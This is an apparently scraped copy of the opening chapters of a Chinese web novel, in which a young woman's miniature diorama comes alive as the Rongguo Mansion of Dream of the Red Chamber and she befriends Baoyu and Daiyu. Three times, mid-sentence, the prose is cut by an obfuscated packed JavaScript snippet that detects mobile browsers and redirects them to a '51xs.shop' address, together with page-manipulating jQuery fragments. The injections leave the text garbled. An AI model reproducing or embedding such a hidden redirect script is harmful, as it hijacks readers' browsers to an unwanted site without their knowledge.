《箱子里的红楼》 1. 第 1 章 “Duang!佩特拉在遥远的国度建成了~” 看着电脑上那行冰冷的文字,再瞧瞧自家只剩两个回合就要建成的奇迹,欧宝珠郁闷地把鼠标一扔,瘫坐成了一条咸鱼。 “宝珠,别玩游戏了,快来吃饭~”门外传来了张阿姨熟悉的呼唤声。 “来了,来了~”欧宝珠低着头一阵寻摸,终于从椅子后面找到了不见的那只拖鞋,然后活动着咔咔作响的肩膀走出书房。才重开了几局文明就到饭点,这时间也过得太快了。 和往常一样,餐桌上已经放好了热腾腾的两菜一汤。尖椒黄牛肉、番茄炒蛋,再配上一个清淡的黄瓜汤。 “好香啊~~”欧宝珠夸张地深呼吸一下,然后迫不及待地拿起筷子,第一时间伸向那盘色香味俱全的炒牛肉。 “慢点,慢点,吃口饭,别辣着了。”张阿姨连忙把米饭递给她,“今天我放了点小米辣,比平常的味道要更重些。” “我不怕辣,辣才好吃呢。”欧宝珠一边咀嚼,一边口齿不清地回应,还向张阿姨伸出了大拇指。“张姨的手艺就是棒!” “你这孩子,嘴真甜。”张阿姨顿时眉开眼笑。看女孩吃得头也不抬,她也自己盛了饭,慢慢地细嚼慢咽起来。 吃完午饭,收拾完碗筷,看时间差不多了,女人解下身上的围裙。“宝珠,我先去接孙子了,这几天的菜我都做好放到冰箱里,你记得准点吃饭。” 欧宝珠点点头。饭足汤饱,刚才还精神十足的她已经开始犯困了。 张阿姨见状忍不住念叨。“晚上早点睡,看你都有黑眼圈了。漂漂亮亮的女孩子,眼底一圈黑像什么话。” “知道了,张姨。”欧宝珠嘿嘿一笑,既不否认也没答应。 张阿姨也就没再说什么。她是欧家雇的钟点工,虽然从这孩子十一二岁起就照顾她,但说到底也不过是外人,不好对主家的生活习惯指手画脚。 也是宝珠的父母不惜福。本来好端端的三口之家,家里分了笔拆迁款就各种折腾,结果把家弄散了。幸好欧家老爷子是个清醒的,见小儿子儿媳不靠谱就把剩下的钱攥得紧紧的,这才给孙女保下了这套三环路边上的三居室和小区门口的两间门面房。 欧宝珠可不知道自己在张姨眼中成了个小可怜。她对自己的生活很知足。有房有车有存款,不用工作还有门面租金提供持续不断的现金流,这样的日子不知道有多少同龄的年轻人羡慕得流口水呢。 她对自己未来的人生也没有什么要求。能继续当一只快乐的米虫,不给别人和社会添麻烦,她就觉得非常满意了。 张阿姨换了鞋正要出门,又转头提醒宝珠,“瞧我这记性,下午来了个快递,我放到这里了,你要记得拆啊。” 快递?可我最近没网购啊。 看着那个靠在鞋柜边上、约莫一米宽两米长的扁平纸箱,欧宝珠有点迷茫。送走张阿姨后,她把不算太重的快递箱平放在地上。快递面单上发货方的信息几乎都是星号,物品栏上也只简单地注明了“造景箱”三个字。 造景箱…… 欧宝珠被这三个字勾起了几天前模糊的记忆。那天为了陪某位刚刚失恋的室友,从来不喝酒的她喝了几杯啤酒,结果朋友的苦水才刚刚倒了几滴,她就直接被放趴下了,醉醺醺地被哭笑不得的朋友搀扶回家。第二天起来几乎断片,只记得迷迷糊糊中在某个店里看见了一个非常中意的东西,一心要买,朋友拦都拦不住。 但钱付了,酒醒了,货却没有如约送到,她还弄丢了对方的联系方式。 而更惨的是当她准备去找店家时,在那条街上走了几个来回都没有看到记忆中的小店。要不是朋友在电话里信誓旦旦,她手机中又确实有这么一条消费记录,她都快把这事当成做梦了。 原本就是这个啊!那个老板没骗人,发货虽迟但到。幸好当时没听朋友的话报警,要不然现在就尴尬了。 欧宝珠利落地开箱。扒开泡沫板和塑料袋,一个有着木制基底、四面被透明玻璃围着的大号造景箱展现了出来。 好精细的的模型! 宝珠眼晴一亮。她绕到景观箱的正面,伏身打量着这座微型古代府邸。府邸正前方是一座朱红色大门,匾额上提了几个字,却看不太清楚。门口还像模像样地立着两个小巧可爱的石狮子,惹得宝珠多看了几眼。 大门之后、高墙之内是一个规模庞大的长方形建筑群。数百间大大小小的房舍规整地分布在两平方左右的面积中。各处飞檐斗拱、雕梁画柱。墙内有墙、院中有院。虽然是迷你版,但依然有一派巍峨壮丽的王侯气象。 其中最醒目的是中轴线上的一处院落。这里屋舍最为华丽高大、所占面积最为宽广,一看就是整座府邸的中心建筑。一条大甬道从朱红大门起,经仪门和大厅,直通向此处。最大的那间房门户敞开,宝珠低头看去,里面不仅有指甲大小的各式家具,连墙上悬挂的匾额都清晰可见,只是依然看不清字迹。 正屋左边是一处狭长院落。这个院落规模略小,布局有点像宝珠见过的四合院,而其屋舍高大仅次于正屋,布置又多有巧思,与正屋的威严大气相比别有一番趣味。 正屋右边的建筑则要逊色许多。虽然是和左侧院落差不多的面积,却被隔成两部分,靠上面积大些的那处又分出了许多小院和屋舍,建筑太过密集,让人感觉细碎繁复。 再来就是府邸前半部右边的一处院落,这里的建筑风格与别处不同,房舍小巧别致,处处点缀着山石花木,比起居所倒更像是供人游玩的花园。而且特别的是它虽然在府邸中,却不与他处相通,而是在外墙上开了一扇黑油小门出入。 与这四处相比,其余的屋舍院落便要普通得多。当然也有几处有亮色的,但宝珠现在已经觉得眼花缭乱,看不过来,只能留着以后慢慢发掘了。 自己那两万块真是花得一点也不冤! 欧宝珠直起身,伸展了一下已经有些僵硬的腰肢。景观箱虽好,就是这样看着有点费腰。她想了一下也没有想到合适的摆放位置,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12983719|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 且这么大的景观箱,又有基座和玻璃,她一个人也不好搬,还是等过两天张阿姨来了,再一起想办法吧。 对景观箱的新鲜感一过,欧宝珠刚刚被压下去的困意又气势汹汹地涌了上来。于是,昨天玩游戏玩到凌晨一两点才睡的宝珠打着呵欠回到卧室,薄被子搭在小肚子上,瞬间入睡。 这一觉宝珠睡得很香甜,醒来时已经是下午三点。恢复了精神气的她又重新坐到了电脑面前,再次沉迷在和AI对手的对战之中。这一次她的开局运气不错,尤其是几番S/L大法之后,局势渐入佳境。而不知不觉中,窗外阳光变得昏黄,夜幕降临。 “你进入了工业时代……” “你发明了内燃机……” 宝珠这一局在领土、科技和文化各方面把AI对手们都甩在了身后,眼看彼此间的积分差距越来越大,然而…… 一连串血红色的宣战通告出现在屏幕上,连上个回合还显示友好的邻国也直接翻脸参战。看着敌军气势汹汹地迈过边境线威胁己方城市,发展失衡、缺兵少将的宝珠直接就玻璃心了。 “最讨厌你们这些发育不行就动手的家伙!” 恨恨地存档退出,被忽略了很久的肚子也在这时发出抗议。一看时间,都已经快晚上八点了。用张阿姨留下的饭菜糊弄过一餐,终于到了欧宝珠出门活动的时间。 换上运动装,把长发扎成高马尾,欧宝珠沿着小区内的塑胶跑道慢慢散步。这个时间,带着孩子在楼下玩耍的人都已经回家了,只偶尔有上班晚归和夜跑的人经过。夜空中,零星的几颗星子在月牙边上寂寞地点亮着。昏黄的路灯被树木茂盛的枝叶遮挡,在地上投出斑驳模糊的影子。 宝珠慢慢走着,享受着初夏夜晚的宁静。一楼的某户人家没有拉上窗纱,家庭成员间温馨的互动大剌剌地展示在外人面前,看着父亲将小女孩高高举起,女孩露出兴奋的笑脸,宝珠也跟着笑了。 “宝珠,又出来消食了啊。”夜跑的人中有认识的邻居调侃她。 “饭后百步走,活到九十九!”欧宝珠毫不脸红,然后在熟人善意的笑声中继续她那悠哉游哉的漫步,直到额头上微微冒出了一层薄汗才打道回府。洗去汗渍,恢复一身清爽的宝珠敷上面膜,也不想着玩游戏了,懒洋洋地躺在沙发上开始刷短视频。 刚看了几段古装美人混剪,宝珠的眼角余光扫到了一处异样。抬眼望去,宝珠诧异地发现一片柔和的白色微光静静待在黑暗的角落中,隐隐照亮门厅的低矮处。 什么情况?!是自己没有关好门吗?但她进门时并没有听到门禁系统的警告声。虽然对小区的治安很有信心,宝珠还是拿起藏在沙发缝隙中的防狼喷雾,小心地走过去。 然后…… “我是在做梦吗?” 宝珠呆呆地低头看向地板,还待在一堆纸箱皮和泡沫中的造景箱正发出盈盈的柔光,无数指尖大小的古装小人在这座微型府邸的院落和夹道中进进出出。 “我的造景箱,活啦?!” 2. 第 2 章 “啪~” 防狼喷雾的瓶子从欧宝珠的指尖滑落,在泡沫板上发出沉闷的声响,然后骨碌碌地滚向最中心的景观箱。 不好! 欧宝珠急切上前伸手去抓,但她的速度显然及不上瓶子滚落的速度。 “呯!” 金属瓶身带着惯性敲在玻璃墙上,发出清脆的响声。 “哎呀,你为什么推我!” “胡说,明明是你推我,还反说我推你!” 两个站在最外侧的青衣小人相互抱怨着。 明明瓶子是一路沿着泡沫板滚下来的,现在就停在玻璃墙外,他们却丝毫没有发现这近在咫尺的“罪魁祸首”。 欧宝珠小心地靠近箱子,两个小人依然在相互斗嘴,而其他人则站在朱红大门的台阶上看热闹,完全没有将对他们来说巨人一般的宝珠放在眼里。 宝珠认真地辨别了一下他们的神情。小人们似乎是真的没有看到自己。 这时从府邸里走过来一个年纪大些的小人,他身上穿着一套深蓝色的衣服,看着比这几个青衣小人都要更体面些。 “你们吵什么,也不看这是什么地方?要是给府里丢了脸,还不把你们皮都撕了。” 被这管事模样的人责骂一通,两个青衣小人顿时灭了气焰,一叠声地向对方拱手求饶。 那管事也不理会他们,自顾自地走出大门,停在玻璃墙边向外面招呼。“那边卖梨的,过来一下!” 接着便听见一个老者的声音喜气洋洋的声音,“来了,三爷可要来点新鲜的梨儿,我这梨儿可甜了,生津化痰,才卖一个钱三个!” 在宝珠目瞪口呆地注视中,玻璃墙中走出来一个挑着担子的老者。 宝珠也顾不上看管事了,她对着玻璃墙上上下下,左左右右看了半天,也没有看出这个新来的小人是如何出现的。 没过多久,已经完成一桩生意的老者笑眯眯地又挑着梨往外走。他似乎丝毫没有意识到宝珠眼中的玻璃墙,神情自然,步履没有任何停顿。上一秒人还在箱子里,下一秒就消失无踪,只有身后半个担子在宝珠的视线中晃了一下,然后也跟着不见。 这简直就是游戏中的场景。 宝珠的好奇心暂时压住了紧张。她试探着摸摸玻璃墙,坚硬结实。伸出手指在小人们面前晃了晃,他们全然无知无觉。挥挥手,他们也只是嘟囔着“这风怎么来得这么奇怪!” 宝珠戳戳那朱红大门旁边的石狮子,精致的小狮子差点被她的指尖碰倒。她忙收回手指,又摸摸那在她看来低矮的围墙,结果抹了一手的灰尘。 弹弹手指,灰尘落下,把门前几个小人的眼睛都迷了。 “啊呀呀!”中年管事一边揉眼,一边跳脚,“你们这些人就知道摸鱼混日子,这顶上的灰多久没打扫了!” 宝珠忍不住扑哧一笑,朝着他们道歉。“真是对不住了,我也不是故意的。”她的声音自然也是传不到小人们耳中的,所以这道歉实在毫无诚意可言。 虽然还不知道他们是怎么出现在自己的造景箱中,但他们似乎已经在这里生活了许久,这从围墙上的灰尘和石狮子座下的泥坑都可以看出。而建筑本身也与昨天看到的模型不同,这就像是模型拍摄和实地拍摄的照片,再相似也会有质感的差别。 所以宝珠刚才看到小人们的第一反应才会是“活啦!”。 而自己和玻璃墙外的世界对他们来说几乎是不存在的,除了能感觉到地面震动和空气的流动,他们听不见也看不见外面的一切。 相对的,宝珠却能看到他们,听见他们。说起来,她的视力似乎是过于好了。明明是才丁点大小的小人,她却能把他们的神情和动作都看得一清二楚。昨天没看清的匾额此刻个个字都变得清晰了。 “敕造荣国府。敕造,应该是奉皇帝命令建造的意思吧?”宝珠还算有点印象。 这时,越来越多的小人出现在箱子里。更确切地说,是越来越多的小人从自己的房间里面走了出来,出现在宝珠的视线中。 这是清晨时分啊。欧宝珠后知后觉。 她的视线沿着中轴线前移。虽然距离隔远了,但她完全没有吃力的感觉,所看到的一切依然是那么清晰。耳边的声音也奇异的,随着视线的移动而改变了。 “老三,去把那边的土扫扫!” “小心点,可别把插瓶碰倒了!” 这感觉真是太奇妙了!心大的宝珠忍不住赞叹。她这时已经完全没了害怕和紧张,反而像是一个发现新玩具会二次变身的孩子,心中全是惊喜。 --------- 荣国府中 大概是天气转凉的缘故,黛玉这几天一直睡不太安稳。天刚蒙蒙亮,她就睁开了眼。丫鬟紫鹃听到床上响动,忙走过来查看,见黛玉要起床,忙劝道:“姑娘,天还早着呢,你再睡会吧。” 黛玉这时已没了睡意,见她摇头拒绝,紫鹃才无奈地服侍姑娘起身。雪雁见状忙掀帘子出去,不一会就有几个穿着夹袄的丫鬟提着水壶、端着水盆毛巾等物沿着游廊向这处走来。 用温热的毛巾擦过脸,黛玉又清醒了几分。盥洗完毕,她拿起昨天夜里没看完的书,倚在月洞窗下的书桌前就翻看起来。紫鹃慌忙过来为她点上蜡烛,“姑娘仔细眼睛。” “就你小心。”黛玉嗔怪了一句。 紫鹃笑笑也不分辨,又转身忙她的事去了。如今眼看就要由秋入冬,正该预先把那些箱子底下的厚衣服翻出来理理,该晒的晒一晒、该熨的熨一熨,省得要穿的时候大家手忙脚乱,没个章法。 黛玉就着烛光气定神闲地看了一会书,不知不觉天色渐渐明亮了,而隔壁的声响也大了起来。 想来是宝玉起了。 黛玉微微一笑,正要吹熄蜡烛,却察觉天上有哪里奇怪。少女抬头望去,然后就呆愣住了。 被院落隔得方方正正的天空之中,不知何时出现了一颗巨大的头颅。那头颅鹿角人脸,面色惨白,鼻翼眼角处皮肉绽裂。遮天蔽日,恐怖离奇。 这是神仙,还是妖魔? 黛玉茫然失措。她看向其他人,院中的丫鬟仆妇都神色如常。也有偶然抬头望天的,却似乎全然未曾见到天上的巨脸。 “难道只有我一人能见到?”黛玉内心猜测 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12983720|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她也读过些闲书,知道神怪故事中常有这种他人未见而某人独见的情况。有些是好事,但大多却会带来灾祸。 而且天空这张狰狞恐怖的巨脸怎么看也不像良善之辈啊! 黛玉正思索着,突见那张面孔左右转动,神情漠然地扫视着人间,似乎正寻找着什么。 一种无可言说的恐惧突然攥紧黛玉的心脏,她忙低下头,假作镇定地看着手中的书卷。 看不到我,看不到我…… 如此默默念了许久,黛玉终于鼓起勇气抬头。那脸孔却已不知所踪。 黛玉松了口气,第一次失了公侯小姐的体统,几乎是瘫软地倒在靠椅上。 “哇!”一个清朗的少年声突然出现在黛玉身后。 “啊!”可怜的少女再次受到惊吓。她下意思地身子前扑,右手手臂打在桌沿,一时间又惊又疼,泪珠儿瞬间不受控制地涌了出来。 “姑娘~” “林妹妹~” 房间中众人忙都围了黛玉过来,乱作一团。片刻之后,“明白”了状况的紫鹃忙柔声安慰自家姑娘,雪雁也对着某个正连声道歉哀求的少年翻了个白眼。 多大的人了,还跟小孩子一样吓唬人! “怎么了?”史老太君也听到了这边的动静,在大丫鬟鸳鸯的搀扶下走了过来。见状拿起黛玉的胳膊,见那上面多了一道细细的青紫色,心疼地不行,忙怪宝玉,“你就是这样和妹妹玩的?怎么也没个分寸?” 她又转头安抚静静垂泪的黛玉,“好孩子,别生气,我让你哥哥给你陪不是。” 宝玉又向黛玉连连作揖。“妹妹别哭了,都是我不好,你打我两下吧。”说罢还想去帮黛玉找个趁手的物件,却被哭笑不得的鸳鸯拦住了。 黛玉刚才被吓得六神无主,现在回过神来,忙收拾了泪痕为宝玉解围。“是我自己胆小,不是宝玉的错。” 听她这么说,老太君便露出笑意,将两个孩子的手拉着一起,再次嘱咐宝玉。“这次是你妹妹大度,再有下次连我都不依了。” 等老太君离开,紫鹃和丫鬟们也体贴地让出空间,两个“和好”的少年少女才凑在一起。 “刚才是我对不住了,”黛玉有些不好意思,“我刚才是被别的事吓着了,没想到让你受了冤枉。” 宝玉不以为意地笑笑,“我原说你不是那么胆小的人,是什么吓住了妹妹,可是昨晚做了什么梦,还是书里有什么神神怪怪的?” 黛玉想起刚才见到的巨脸,脸色又有些难看起来。 “怎么了?”宝玉忙握住她的手,“手这么凉,可见你刚才真是吓着了。那就别说,忘了便是。” 黛玉本来还犹豫是否要告诉宝玉,怕被他取笑,但见他一心为自己着想,反而定了主意。 “长着鹿角的巨脸?”宝玉倒是没有怀疑黛玉的话。“传说中有鹿角的神仙也不少,不一定是妖魔。你先不要忧心,而且这里是京都天子脚下,邪门外道不敢来作祟的。” 他正劝慰着,却见眼前黛玉面容又是一呆,他转身望去。 天空中,偌大一张人脸正对着自己。 3. 第 3 章 这长着鹿角的巨人脸是何时出现的?! 宝玉大惊。他见门外其他人都没有反应,便知黛玉所说不假,只有她方能见到巨人,而如今又多了宝玉自己。 不过天上这脸孔虽然确是鹿角人脸、巨大无比,但面容却是一副清秀的女子面容,看着也神色和善,并没有林妹妹说得那般恐怖。说不定真是什么神仙灵兽现身凡间呢。 黛玉此时心中也有疑惑,眼前这位和刚才的恐怖巨人相似又不似,看上去良善许多,难道并非同一人? “你们能看见我?”宝珠眨眨眼,简直不敢相信。她没想到自己只是离开片刻把干了的面膜卸下,回来就得到了一个大惊喜。 虽然那少女极力想假作无事发生,但她那惊惧的眼神已经出卖了她。 “小姑娘,我吓着你了?”宝珠有些不好意思。这小姑娘才十二三的模样,瘦弱文静,一看就是个乖巧的好孩子,现在却被自己吓得不轻。“抱歉,我对你们没有恶意。” 黛玉听这天上的巨人口出人言,顿时心里松解了些。这巨人说话轻言细语,虽然带着些口音,但似乎真的没有什么恶意。 宝玉也是如此想,他收拾了一下衣衫,正色躬身行礼。“宝玉见过仙子。敢问仙子如何称呼,仙居何处,如何会到我们荣国府来?”虽然不知道对方身份,但先捧一捧应该没错。 宝珠这才注意到少女旁边的同伴。这少年与少女的年岁差不多,身量略高些,面容俊秀,衣着华丽,形容举止间颇有些翩翩佳公子的气度。 不过…… “宝玉、宝玉……”看着眼前的俊美少年,宝珠又想起刚才见到大门处那敕造荣国府五个大字,终于后知后觉地想起某本家喻户晓的经典小说。真不该啊,她上个月还重温过87版电视剧,当时看得可开心了。 眼前的少男少女,既然一个是贾宝玉,另一个自然就是林黛玉了。这也不是欧宝珠过于武断,从未想到过这是其他女孩子的可能性,而是这少女无论体态、容貌、气质都贴合书中对绛珠仙子的描写,不是黛玉是谁。 “宝玉正是小可名讳,不知仙子有何教诲?”少年有些紧张,不知道巨人念叨自己的名字是何意。 “教诲倒没有,就是有一个问题。”宝珠忍不住笑道,“至贵者宝,至坚者玉,尔有何贵,尔有何坚,竟称宝玉?” 宝玉愣了一下,一时不知如何回答,却听到身边响起一个熟悉的声音。 “宝玉之名非为自称,乃父母长辈爱护寄望,此为人间平常事,自古以德、圣、宝、玉等为名者多矣。”少女的声音微微颤抖,也不知道是因为害怕还是生气。但她还是坚持着把话说完,“况品性高洁可称贵,心志不移可称坚。我等年少,心性自不足夸。但此时品性不能称贵,异日未尝不能贵,此时心志不能称坚,异日未尝不能坚。” 啊呀,这可尴尬了!宝珠也是一时兴起把日后黛玉取笑宝玉的话提前说了出来,结果被本尊将了一军,而且有理有据,无可反驳。 这会儿太过兴奋了,冒冒失失的。宝珠暗暗反省,然后痛快认错。“抱歉,刚刚是我不该拿宝玉的名字取笑,我向你们道歉。” 见自己的反驳并未惹恼天上的女子,她反而还态度诚挚地向自己等道歉,黛玉也松了口气,这才发现手心里已汗湿了。宝玉则两眼亮晶晶地看着黛玉,好似在一位闪闪发光的女英雄。 “我叫欧宝珠,家住蜀都,今天算是机缘巧合才与你们相遇,并没有什么意图,你们也不必担心害怕。”宝珠一一回答宝玉刚才的提问。 “蜀都?”宝玉此时已经活泼了些,也不怎么害怕宝珠了。“书中说蜀都距此几千里远,仙子如何到的京都?乘车、行船、还是……”少年看看天空,浮想联翩。 宝珠连忙打破少年的幻想。“我并不是从蜀都到这里,而是我现在就在蜀都,而且这里应当也并不是你们世界的蜀都。” 听到前半句,宝玉还想着宝珠可能有什么千里镜的法宝,能从蜀都望向京城,但后半句就真叫宝玉迷惑了。什么是宝珠现在所在的蜀都,不是自己所在世界的蜀都。 黛玉却猜测道,“佛家说有三千世界,一千小世界,一千中世界,一千大世界。仙子之意可是说与我等处于不同世界,而仙界中亦有一个蜀都?” “这样解释似乎也说得通。不过这里不是仙界,我也不是什么仙子,只是凡人一个。”宝珠笑笑,“你们叫我宝珠就可以了,或者叫我声姐姐也行。” “宝珠姐姐~”宝玉、黛玉对视一眼,同时唤道。他们倒是没完全相信宝珠的话。在他们看来,暂不提那不知真假的跨境破界,仅宝珠现在展现的凌空巨影就已是了不得的非凡手段,她又不像妖魔鬼怪之流,不是神仙又是什么。但宝珠自谦,他们也就假作无知了。 宝珠姐姐……这听上去有点像宝姐姐。不过也行吧,只要不是叫她阿姨就好。宝珠想了一想,就接受了这个称呼。 宝玉和黛玉也一一报名。宝珠虽然熟知他们的身份,但还是笑着听他们自我介绍。 三人这才算是互相认识,还要说话,却听见屋外有旁人和紫鹃的问答声。黛玉忙向宝玉递了个眼色,又向宝珠道歉,这才从一旁拿起一个九连环,低头拆解起来。 宝玉也假装无事地看黛玉解九连环,不多时便有一个穿着体面的中年仆妇走进房中。“林姑娘,姨太太着我送花儿来与姑娘带来了。” 宝玉笑道,“什么花儿?拿来给我。”他接过来一看,“虽是假花,这样式倒也新鲜别致。” 黛玉就着宝玉的手看了一眼,似乎想到了什么,神色间多了一份不悦。但想着宝珠还在,这少女便忍了没言语。 宝玉也没心思和那仆妇多言。等她离开,便和宝珠告罪。“刚才怠慢姐姐了。” “没事。”宝珠很理解他们的做法,“他们又看不见我,要是看到我们说话,还以为你们俩发癔症了。” 那仆妇的到来也让她想起了一个书中情节,但又有些不确定。难道是因为自己的出现,所以才少了那句著名的林怼怼语录。 “是单送我一人的,还是别的姑娘们都有呢?” 如果真是那样,那可就有点可惜了。欧宝珠心里乱七八糟想着。 宝玉见宝珠一直盯着装着宫花的盒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12983721|137033||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子,又见她头上朴素,既无珠翠点缀、也无鲜花装饰,便以为这位仙子姐姐是对人间的饰物好奇。他便鼓起勇气举起盒子,“宝珠姐姐,可愿试试这人间的新鲜花样?” 宝珠看着那才针尖大小的绢花,哭笑不得,我拿这么点东西也没用啊! 但就在她要拒绝的前一刻,她突然有了一个认知:两个世界是可以交换物质的,而且物质还会以相应比例转换成对方世界可使用的尺寸。作为主导者,她还可以选择传送至指定位置或指定的人手中。 宝珠也顾不上揣测这认知的来由,便兴致勃勃地准备试验一下。 “正有此意,那就多谢了。”说完,宝珠心意一动,宝玉手中的宫花便连同盒子一起到了她的手中,尺寸大小也变成了适合用的尺寸。 这就有意思了。 宝珠之前见宝玉黛玉都注意她头顶,便笑着把头上的发箍取了下来。“这个就当作我的回礼吧。” 宝玉、黛玉都唬了一跳,还以为这巨人太过实心眼,居然拔自己的角回礼。 宝玉忙不迭地摆手“不可。不可。” 黛玉却眼尖,这时已经看到那鹿角下面连着一个半圆环,不像本身长的。正思索间,宝珠已经将发箍交到她手中。她打量一番,立刻明白,“竟是个发箍,真真有趣。” “发箍?”宝玉也凑过来细看,然后松了一口气。他刚才还以为那位仙子姐姐真的要把头上鹿角拔下呢。他又回头看那天上的欧宝珠,她正将一只宫花插入耳边鬓发,神情颇为自得。 “宝玉,你看如何?”黛玉也变活泼了,把鹿角发箍带上逗宝玉。 “妹妹这便不是林家小姐,而可称做林中仙鹿了。”宝玉眼睛一亮,称赞的话脱口而出。 宝珠也点头赞许。黛玉本就是货真价实的少女,配上鹿角,便少了些磨练出来的成熟世故,多了一分天生秉性中的狡黠可爱。 这时黛玉又从发箍想到之前所见的苍白面容,便大胆向宝珠提问。宝珠这才知道黛玉并不是第一次看见自己。“那也是我。那时我敷了面膜,所以看上去有点怪,难怪你被我吓到了。” “面膜?”黛玉有些好奇。 “就是把营养品贴在脸上,可以起到补水滋润的作用。”宝珠双手往脸上轻拍两下示意,见黛玉恍然大悟,又和她讲了一些现代女生保养的小方法。 黛玉也很感兴趣。“原来宝珠姐姐的世界有如此多的女子好物。” 当然多啦。宝珠想着。女性消费市场何等庞大,全世界的商家都想着从我们口袋里掏钱呢。 宝玉插嘴道,“这面膜倒也不稀奇。书中就曾记载杨贵妃使用红玉膏,以杏仁、轻粉、滑石粉为主料,辅以冰片、麝香,用蛋清调为膏状,每日早晨洗面后敷之,可保面色红润,青春不老。” 黛玉微微惊异,“既是自唐朝就有,为何我从未听过?” 宝玉却笑道,“那杨妃都是三四十的人,再是貌美也要勤加保养,哪里及得上林妹妹和宝珠姐姐青春貌美,那红玉膏纵不知也无妨。” 啧啧。宝珠忍不住轻笑。这话说的可真有未来怡红公子的味了。 4. 第 4 章 三人间气氛越发融洽,不知不觉箱中世界的时间已近正午,在外面候着的紫鹃过来提醒,“姑娘、宝二爷,老太太那边要备饭了,请你们过去呢。” 宝珠看看时间,现实世界也已接近午夜。他们兴头上居然聊了接近两个小时。宝珠和宝黛两人约了下次见面,也没有兴趣再去看贾府别的地方,干脆就回卧室休息了,睡前还顺手下了几个喵喵超市的订单,算是明天送给两个小朋友的礼物。 这一晚上的梦境说不出的光怪陆离。 什么箱中小人都算是平常的,还有奥特曼、小怪兽和丧尸,最后又变成了孙悟空大战外星熊猫人,异形和神秘博士也来跑了龙套,总之不是世界危机、就是星际大战,一片混乱。宝珠直到醒来还觉得脑袋里面懵懵的。 还好是梦。要不然普通的地球人真的没活路了。 欧宝珠念叨着先去洗漱。虽然挂念着箱子里的小人们,但她可不想顶着一个鸡窝头出现在自己新结识的两位小朋友面前。昨天的面膜脸就够了,不必再加其他不佳的形象。 根据昨天的经验,箱子里和现实世界的日夜是颠倒的。昨天她这边是晚上,箱子里面是白日。今天应该是刚好反转过来,也不知道夜空黑漆漆的,宝玉和黛玉能不能瞧见自己。 总不能自己在面前打手电筒光吧,这又不是什么恐怖电影! 但很快,这个问题就没有再继续困扰宝珠了。因为面对突然出现的巨大困惑,这点小问题已经没有了存在的价值。 “这是怎么回事?!”宝珠瞪着四面玻璃墙内空无一人的屋舍道路,怀疑自己还在梦中。 她惊讶地绕着玻璃箱转了好几圈,依然没有看到一个人影。 人呢?! 我那么多小人呢?!怎么一个也不见了? “黛玉!” “宝玉!” “黛玉!” 宝珠的呼喊声越来越高,但四周安安静静的,无人回应。 到底是我现在在做梦,还是整晚的奇遇是梦? 宝珠细细回想昨晚发生的一切,觉得所见所闻都是那般真实。还有与黛玉、宝玉的对话,也不像平时做梦那般毫无逻辑。 可小人们的出现就有逻辑了吗?凭什么一个普通的造景箱里会出现一个活生生的荣国府? 一连串反问把宝珠刚才升起的那点信心击碎了。 到底什么才能证明昨晚的一切,证明黛玉、宝玉的存在不是梦? 对,我有证据! 宝珠猛地想起一物,她两步并做一步,急冲冲回到卧室,然后用力打开梳妆台的抽屉。 最显眼的地方,两只丝绢堆成的簪花放得端端正正的。 太好了!我果然没做梦。 宝珠紧绷的心终于放了下来,刚才那些差点怀疑人生的忐忑和不安立时消解了大半。 虽然不知道小人们是因何出现,又因何消失,但自己经历过的真实还是留下了痕迹。 也不知道他们还会见面吗,宝玉和黛玉日后会如何,红楼世界的未来还是如书中故事一般继续运转吗? 一连串的问题又冒了出来,在宝珠的心中翻腾,让她不得平静。 回到门厅,宝珠仔细打量眼前的造景箱。明显这个才是她最初看到的箱子。只是见过真实的红楼世界之后,现在的这座“荣国府”在她看来处处都透着新与假。 地面是硬塑料制成的,只是刷成了土黄色,上面没有车辙也没有行人的脚印。 用手摸摸围墙和屋顶,指尖干净的没有一丝灰尘,没有岁月留下的痕迹。 再推推门口的小狮子,它们被胶水粘得牢牢的,根本推动不了。 庭院中的树木花草更是透着一股塑料味,个个颜色鲜艳得像是用了最饱满的颜料,毫无秋日的萧瑟。 再精巧的模型,还是比不上真实的世界。 “我颠颠又倒倒,好比浪涛~” 铃声坚持响了许久,蹲在造景箱旁发呆的宝珠终于回过神来,揉着酸痛的双脚去拿丢在沙发上的手机。 “宝珠,怎么这么半天才接电话,这个点了你不会还在蒙头睡大觉吧?”电话里传来了朋友的抱怨声。 宝珠揉揉脸,振作精神,“没呢,我早就起了,刚才只是没听见而已。” “呵呵,”朋友冷笑一声,也不和她理论,“宝珠,你还记得上次买造景箱的那家店吗?” 突然从朋友口里听到造景箱两个字,宝珠心脏砰砰乱跳。“我记得啊,怎么了?” 